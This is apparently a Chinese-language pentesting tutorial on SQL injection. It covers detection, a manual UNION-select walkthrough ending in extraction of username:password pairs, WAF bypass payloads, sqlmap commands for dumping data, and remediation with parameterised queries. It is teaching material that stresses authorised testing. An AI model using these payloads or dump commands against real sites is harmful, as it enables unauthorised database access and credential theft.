本章目录(8)On this page (8)
  1. 先判断有没有
  2. 六种技术,用哪种看回显
  3. 联合注入的手工流程
  4. 绕 WAF
  5. sqlmap 怎么用才不浪费时间
  6. 什么时候该停手
  7. 修复
  8. 参考
文章Articles

SQL 注入

判断注入点、绕过 WAF、用 sqlmap 收敛,以及什么时候该停下来手工打。

更新Updated 2026.10.25securitywebsqli

先判断有没有

最原始的办法往往最有效:在参数后面加一个单引号。

https://example.com/news?id=1'      → 报错或页面异常
https://example.com/news?id=1'--+   → 恢复正常

正常 → 异常 → 加注释后恢复,这三步走完,注入点基本确认。

如果是数字型,id=1 和 id=2-1 返回同一条记录,也能说明问题。

六种技术,用哪种看回显

回显情况 用哪种
页面直接显示查询结果 联合查询 union select
只显示报错信息 报错注入 extractvalue、updatexml
什么都不显示,但真假状态不同 布尔盲注
连状态都一样 时间盲注 sleep()
支持多语句 堆查询,可以直接写文件
有外带通道(DNS/HTTP) 带外注入,最快

判断顺序是从上往下。能用联合就不用盲注——盲注跑一个库名要几百个请求,联合一条就够。

联合注入的手工流程

-- 1. 猜字段数
id=1 order by 3--+        -- 正常
id=1 order by 4--+        -- 报错,说明 3 个字段

-- 2. 找回显位
id=-1 union select 1,2,3--+

-- 3. 拿库名、表名、列名
id=-1 union select 1,database(),3--+
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

-- 4. 取数据
id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

0x3a 是冒号,用来分隔字段。这个习惯比 concat_ws 兼容性好,不容易被过滤。

绕 WAF

WAF 的规则是正则匹配,绕过的思路就是让请求「对数据库有效、对正则无效」。

常见几个:

空格       → /**/、%0a、+、括号
or / and   → ||、&&、|(MySQL 里 | 是位或,但常被当逻辑用)
=          → like、regexp、between
union      → ununionion(双写)、/*!50000union*/
select     → 大小写混合、注释穿插

一个实际的例子:or 被拦,换成 | 就过了,因为 WAF 的规则只匹配 or,而 MySQL 里 1 | 1=2 的求值行为在布尔判断中依然可用。

id=35 | 1=2 union+select ...

+ 在这里当空格用,因为 URL 里 + 会被解码成空格。这条在 GET 请求里有效,POST 里要看服务端怎么解析。

sqlmap 怎么用才不浪费时间

基本用法:

# 从请求文件读,最稳,cookie、header、POST 体都带上
sqlmap -r req.txt --batch

# 指定注入点
sqlmap -r req.txt -p username --batch

# 直接给 URL,用 * 标注入点
sqlmap -u "https://example.com/news?id=1*" --batch

# 带 cookie 和 POST 体
sqlmap -u "https://example.com/login" --data="user=a&pass=b" --batch

几个参数值得记住:

--dbs                  列库
--tables -D db         列表
--columns -T users     列字段
--dump -C user,pass    取数据
--level=5 --risk=3     测得更狠,也更容易把站打挂
--tamper=space2comment 用 /**/ 替换空格
--technique=U          只测联合注入,快
--threads=5            并发,别开太大
--flush-session        清缓存重跑

--level 和 --risk 不要一上来就拉满。 level 3 会测 UA 和 Referer,level 5 会测所有 header;risk 3 会尝试 OR 型注入,可能改到数据。测试环境随便,生产环境慎用。

什么时候该停手

sqlmap 跑出 --dbs 之后就停,这个习惯值得养。

再往下的 --dump 会拖真实数据。授权测试里,证明「能读到」和「读到多少」是两件事,前者是结论,后者是风险。看表结构、取一条脱敏样本,足够写报告了。

--os-shell 和 --file-write 更要慎重。这两个动作已经在「获取权限」和「修改系统」的边界上,写进报告前先确认授权范围里有没有允许。

修复

参数化查询。不是「过滤单引号」,是「不要把用户输入拼进 SQL」。

// 错的
$sql = "SELECT * FROM news WHERE id = " . $_GET['id'];

// 对的
$stmt = $pdo->prepare("SELECT * FROM news WHERE id = ?");
$stmt->execute([$_GET['id']]);

框架自带的 ORM 默认是参数化的,出问题的地方通常是「为了灵活」手写拼接的那几处。

参考

  • 《sqlmap(附手工注入绕 WAF)实战 SRC 使用方法》,公众号 信安一把索
  • 《sqlmap 最新版命令翻译(劝退指南)》,公众号存档